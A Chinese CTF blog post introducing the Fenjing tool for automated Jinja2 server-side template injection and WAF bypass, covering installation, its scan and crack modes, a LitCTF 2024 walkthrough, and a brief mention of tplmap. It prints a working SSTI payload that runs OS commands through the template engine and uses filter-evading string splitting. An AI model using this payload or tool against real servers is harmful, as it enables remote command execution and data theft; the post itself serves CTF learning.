SSTI工具

SSTI常规题通杀工具,非常好用

焚靖(fenjing)

下载地址Marven11/Fenjing: 专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 )

焚靖是一个针对CTF赛事中常规Jinja SSTI题目开发的WAF检测与绕过工具。

焚靖融合了CTF赛事中常见的SSTI绕过技巧,可以灵活组合使用各类绕过技巧全自动构建payload绕过WAF.

焚靖既可以作为命令行程序使用,也可以作为python库导入到脚本中,其还提供一个网页UI方便不熟悉命令行的选手使用。

Fenjing的安装运行:

使用pip进行安装运行:

1
2
3
pip install fenjing
python -m fenjing webui
# python -m fenjing scan --url 'http://xxxx:xxx'

下载并运行docker镜像:

1
docker run --net host -it marven11/fenjing webui

使用pipx安装运行(作者推荐):

1
2
3
4
5
6
# 首先使用apt/dnf/pip/...安装pipx
#pip install pipx
# 然后用pipx自动创建独立的虚拟环境并进行安装
pipx install fenjing
fenjing webui
# fenjing scan --url 'http://xxxx:xxx'

使用:

webui

可以直接在webui里指定参数并自动攻击

在左边填入并点击开始分析,然后在右边输入命令即可

scan

在终端可以用scan功能,猜测某个页面的参数并自动攻击:

python -m fenjing scan --url 'http://xxxx:xxx/yyy'

crack

也可以用crack功能,手动指定参数进行攻击:

python -m fenjing crack --url 'http://xxxx:xxx/yyy' --detect-mode fast --inputs aaa,bbb --method GET

这里提供了aaa和bbb两个参数进行攻击,并使用--detect-mode fast加速攻击速度

crack-request

还可以将HTTP请求写进一个文本文件里(比如说req.txt)然后进行攻击

文本文件内容如下:

1
2
3
GET /?name=PAYLOAD HTTP/1.1
Host: 127.0.0.1:5000
Connection: close

命令如下:

python -m fenjing crack-request -f req.txt --host '127.0.0.1' --port 5000

实例:

[LitCTF 2024]一个….池子? -NSS

输入{{7*9}}得到63说明存在ssti漏洞

因为主要测试fenjing所以直接给出原payload

1
{{cycler.next.__globals__.__builtins__.__import__('os').popen('ca''t app.py').read()}}

用fenjing爆破

kali打开fenjing执行

1
python -m fenjing scan --url 'http://node4.anna.nssctf.cn:28489/' 

启动爆破

成功

这样我们就能执行命令,示例给了ls /

执行

我们可以看到爆破的payload就是我们之前给的那个

并且我们得到根目录的文件

发现flag,直接cat得到flag

可以说是非常方便了

但是焚靖是一个针对CTF赛事中常规Jinja SSTI题目开发的WAF检测与绕过工具。

他针对的模板只有jinja2

除了fenjing外还有一个ssti工具:tplmap

Tplmap:

Tplmap 通过多种沙盒逃逸技术帮助利用代码注入和服务器端模板注入漏洞来访问底层操作系统。

该工具及其测试套件旨在研究 SSTI 漏洞类,并在 Web 应用程序渗透测试期间用作进攻性安全工具。

plmap 支持超过 15 个模板引擎、非沙盒模板引擎和类似 eval() 的通用注入。

此工具我并没有使用过。

安装可参考SSTI注入神器tplmap安装教程-CSDN博客

使用tplmap的安装和简单使用 - KittySmith - 博客园 (cnblogs.com)


SSTI工具
http://example.com/2024/07/13/SSTI自动工具/
作者
piiick
发布于
2024年7月13日
许可协议